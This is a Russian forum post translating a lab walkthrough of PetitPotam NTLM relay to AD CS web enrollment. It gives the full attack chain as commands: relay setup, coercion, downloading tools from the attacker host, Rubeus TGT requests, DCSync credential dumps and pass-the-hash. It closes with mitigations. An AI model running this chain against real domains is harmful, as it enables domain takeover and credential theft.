• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Эскалация домена: PetitPotam NTLM релей на EP ADCS

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
Введение

Уилл Шредер и Ли Кристенсен написали исследовательскую работу по этой технике, на которую можно посомтреть здесь (https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf). В методике ESC8, упомянутой в исследовательской статье, говорится о присущей уязвимости в веб-интерфейсе сервера ЦС с включенной службой веб-регистрации. Таким образом, злоумышленник может ретранслировать запросы из веб-интерфейса, чтобы запросить сертификат учетной записи компьютера контроллера домена (DC$) и получить эскалацию + персистенс. PetitPotam — это один из таких PoC-инструментов, разработанный Лайонелом Жилем (см. здесь (https://github.com/topotam/PetitPotam)), который может принуждать или убеждать хост Windows пройти аутентификацию в DC, которую можно использовать для запроса сертификатов и получения эскалации.

Уязвимость

AD CS поддерживает несколько методов регистрации на основе HTTP с помощью дополнительных ролей сервера AD CS, которые могут установить администраторы. Эти интерфейсы регистрации уязвимы для ретрансляционных атак NTLM. Веб-конечные точки не имеют защиты ретрансляции NTLM по умолчанию и, следовательно, уязвимы по умолчанию. Поток уязвимости выглядит следующим образом:

- Атака принуждает/вынуждает учетную запись машины контроллера домена (workstation01$ в нашем случае) пройти аутентификацию в отношении нашей настройки ретрансляции NTLM (в нашем случае Kali).
- Запрос аутентификации учетной записи Workstation01$ перенаправляется на сервер ретрансляции NTLM (kali).
- Аутентификация учетной записи Workstation01$ передается на CA Server или ADCS (служба сертификатов Active Directory).
- Создается сертификат
- Используйте сертификат для выполнения атак (например, DCSync) для компрометации DC1$ (сервер ЦС).

Как принудительно выполнить аутентификацию?
=> Если злоумышленник терпелив, он может дождаться органической аутентификации. Но у нас не так много времени, поэтому нам нужно принудительно пройти аутентификацию. Одним из таких методов является знаменитый "ошибка принтера". Но это зависит от запущенной и уязвимой службы диспетчера очереди печати. Поэтому Лайонел Жиль создал "PetitPotam", который изначально использовал уязвимую функцию EfsRpcOpenFileRaw в протоколе MS-EFSR, которая имела недостаточную проверки пути. Используя это, злоумышленники могут выполнять принудительную аутентификацию через SMB, тем самым расширяя возможности ретранслятора NTLM. С тех пор в инструмент PetitPotam было добавлено множество новых функций.

Архитектура

Сервер ЦС с веб-регистрацией — DC1$: 192.168.1.2

Контроллер домена – workstation01$: 192.168.1.3

Кали — не в домене: 192.168.1.4

Windows закера — не в домене: случайный IP-адрес (не присоединенный к домену, но DNS указывает на IP-адрес ЦС)

Лабораторка


На сервере Windows, где ADCS уже настроен, перейдите к диспетчеру сервера и выберите добавление ролей и функций, а также добавьте следующие три роли:

- Веб-регистрация ЦС
- Веб-служба регистрации сертификатов
- Служба регистрации сетевых устройств


Как видите, на моем сервере (dc1.ignite.local) я их уже установил. Я не менял никаких настроек и оставил все по умолчанию.

1645875987414.png


Мы можем запустить Internet Explorer и посмотреть по следующей ссылке, работает ли веб-регистрация сертификата или нет.


1645876008827.png


И, наконец, вам нужно настроить отдельную учетную запись DC на другой машине, как у меня. В большинстве сценариев серверы DC и CA одинаковы, но для простоты я сделал их разными. Как видите, на машине DC настроена учетная запись DC с именем "Workstation01", которая находится в группе DC.

1645876021040.png


Демка атаки


Демка разделена на 5 частей: начальная компрометация, 3 способа запроса ЦС и эскалация.

Первоначальная компрометация

Поскольку это атака с расширением домена, нам сначала нужен доступ к системе жертвы. Здесь я скомпрометировал компьютер, на котором есть учетная запись workstation01$. Понятно, что в этой системе есть учетная запись компьютера с контроллером домена, что означает, что система принадлежит контроллеру домена, но у нас нет доступа к контроллеру домена.

net group “domain controllers” /domain

1645876061258.png


Наша цель: сгенерировать сертификат DC и аутентифицировать CA-сервер по нему, а также повысить привилегии до DC.

Скомпрометированные учетные данные: Harshit:Password@1

Прежде чем мы создадим сертификат для этой учетной записи DC, нам нужно настроить ретранслятор NTLM. Мы можем сделать это с помощью Python-скрипта Impacket ntlmrelayx.py.

ntlmrelayx.py -t http://192.168.1.2/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

1645876100309.png


Генерация сертификата — скрипт PetitPotam Python

PetitPotam можно загрузить из официального репозитория github здесь (https://github.com/topotam/PetitPotam). Запустить скрипт очень просто, вам просто нужно указать домен, учетные данные скомпрометированного пользователя и IP-адрес ретранслятора NTLM (kali), а затем IP-адрес контроллера домена.

git clone https://github.com/topotam/PetitPotam
cd PetitPotam
python3 PetitPotam.py -d ignite.local -u harshit -p Password@1 192.168.1.4 192.168.1.3


1645876149378.png


Если все пойдет хорошо, вы увидите скриншот, как показано выше, со сценарием, указывающим на отправку EfsRpcOpenFileRaw и успешную атаку!

Все это должно было сгенерировать сертификат для учетной записи компьютера DC Workstation01$ в консоли ретрансляции NTLM. Вот несколько вещей, на которые стоит обратить внимание:

- Аутентификация прошла успешно: означает, что Cert Web Enroll был вызван для учетной записи компьютера (уязвимость в API Windows для веб-регистрации) путем предоставления аутентификации для пользователя с низким уровнем доступа.

- Атака с контролируемого адреса 192.168.1.3, атакующая цель 192.168.1.2: означает, что ретранслятор успешно перенаправил запрос на сервер ЦС и был сгенерирован сертификат для рабочей станции учетной записи DC01$

Вы можете скопировать этот сертификат в текстовый файл.

1645876187118.png


Прежде чем мы перейдем к фактическим методам priv ESC, я хотел бы показать вам еще два метода, которые делают то же самое, что мы только что сделали.

Создание сертификата — PetitPotam.exe

Официальный репозиторий GitHub также поставляется с файлом PetitPotam.exe. Вы можете загрузить этот файл на сервер-жертву, выполнить его и получить те же результаты. Если вы видите небольшую паузу, а затем Attack success!!! Status, вы сгенерировали сертификат учетной записи DC. В команде PetitPotam.exe "1"» означает активацию эксплойта с использованием уязвимости функции EfsRpcOpenFileRaw по умолчанию. Есть и другие уязвимые функции, добавленные автором.

powershell wget 192.168.1.4/PetitPotam.exe -O PetitPotam.exe
PetitPotam.exe 192.168.1.4 192.168.1.3 1


1645876733142.png


Генерация сертификата – Mimikatz

Как культурные люди, мы любим добавлять новые эксплолиты в наш любимый мимикатз. Уязвимость функции EfsRpcOpenFileRaw также может быть активирована с помощью мимикатз. Нам просто нужно загрузить это на сервер нашей жертвы и выполнить следующую команду.

/connect: IP-адрес ретранслятора NTLM

/сервер: dc_account.domain.fqdn

powershell wget http://192.168.1.4/mimikatz.exe -O mimikatz.exe
misc::efs /server:workstation01.ignite.local /connect:192.168.1.4


1645876797724.png


Результатом всех вышеперечисленных методов будет один и тот же сертификат. Теперь давайте повысим наши привилегии.

Повышение привилегий

Генерация ТГТ


Нам нужно взять новую систему Windows 10, которая не входит в домен, чтобы продемонстрировать это на практике. Мы настраиваем локальную учетную запись администратора в этой системе и меняем наш DNS, чтобы он указывал на DC, например так:

1645876830399.png


1645876837406.png


Теперь, поскольку у нас есть сертификат DC, нам нужно преобразовать его в гораздо более эффективные средства доступа. Давайте сначала сгенерируем TGT с помощью Rubeus. Модуль Asktgt в Rubeus может сделать это, взяв сгенерированный сертификат в качестве входных данных командной строки. Команда выглядит следующим образом:

.\Rubeus.exe asktgt /outfile:kirbi /dc:192.168.1.2 /domain:ignite.local /user:workstation01 /ptt /certificate:MIIRdQIBAz.....

Kirbi — это формат TGT с кодировкой base64, используемый Rubeus.

1645876863493.png


Как вы можете видеть с помощью команды klist, TGT был создан и сохранен в системе для дальнейшего использования.

1645876878599.png


Атака DCSync

Используя мимик, мы можем использовать этот билет для проведения атаки DCSync. Во-первых, давайте сбросим хэши учетной записи krbtgt.

lsadump::dcsync /domain:ignite.local /user:krbtgt

1645877005044.png


Теперь злоумышленник может использовать эти учетные данные и SID, предоставленные для выполнения атаки Golden Ticket (для сохранения). Подробности можно найти здесь (https://www.hackingarticles.in/domain-persistence-golden-ticket-attack/). Но на данный момент нас интересует доступ администратора CA Server (учетная запись компьютера DC1$). Давайте еще раз запустим DCSync под учетной записью администратора.

lsadump::dcsync /domain:ignite.local /user:administrator

1645877084368.png


Теперь злоумышленник может использовать эти учетные данные и SID, предоставленные для выполнения атаки Golden Ticket (для сохранения). Подробности можно найти здесь (https://www.hackingarticles.in/domain-persistence-golden-ticket-attack/). Но на данный момент нас интересует доступ администратора CA Server (учетная запись компьютера DC1$). Давайте еще раз запустим DCSync под учетной записью администратора.

lsadump::dcsync /domain:ignite.local /user:administrator

1645877094078.png


Как видите, теперь мы получили NTLM-хэш учетной записи администратора. Теперь давайте воспользуемся psexec, чтобы получить работоспособную оболочку, проведя атаку PassTheHash.

Атака PassTheHash

Для проведения PassTheHash мы будем использовать реализацию Impacket psexec.py и следующую команду:

psexec.py -hashes :32196b56ffe6f45e294117b91a83bf38 ignite.local/administrator@192.168.1.2


И вуаля! Вот и все. Вы можете видеть, что теперь мы скомпрометировали учетную запись DC CA Server (DC1$), просто используя уязвимость веб-регистрации ADCS и учетные данные пользователя с низким уровнем доступа.

1645877139207.png


Защита

Microsoft выпустила подробные рекомендации по необходимому механизму исправления, которые можно найти здесь. Но я резюмирую это в коротких предложениях здесь:

- Включите требование SSL в диспетчере IIS->сайты по умолчанию->параметр certsrv
- Включить расширенную защиту (под certsrv-> аутентификация)
- Отключите NTLM для IIS на сервере ADCS, установив certsrv->providers->negotiate:kerberos

Заключение


Certified-Pre Owned — это ценный технический документ, посвященный различным уязвимостям ADCS, и с помощью нашего блога мы стремимся повысить осведомленность об этих атаках, чтобы организации могли понять, внедрить и исправить такие неизвестные и незамеченные уязвимости.Надеюсь, вам понравилась статья. Спасибо за прочтение.

Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/domain-escalation-petitpotam-ntlm-relay-to-adcs-endpoints/
 

Вложения

  • 1645877036159.png
    1645877036159.png
    46.8 КБ · Просмотры: 5


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх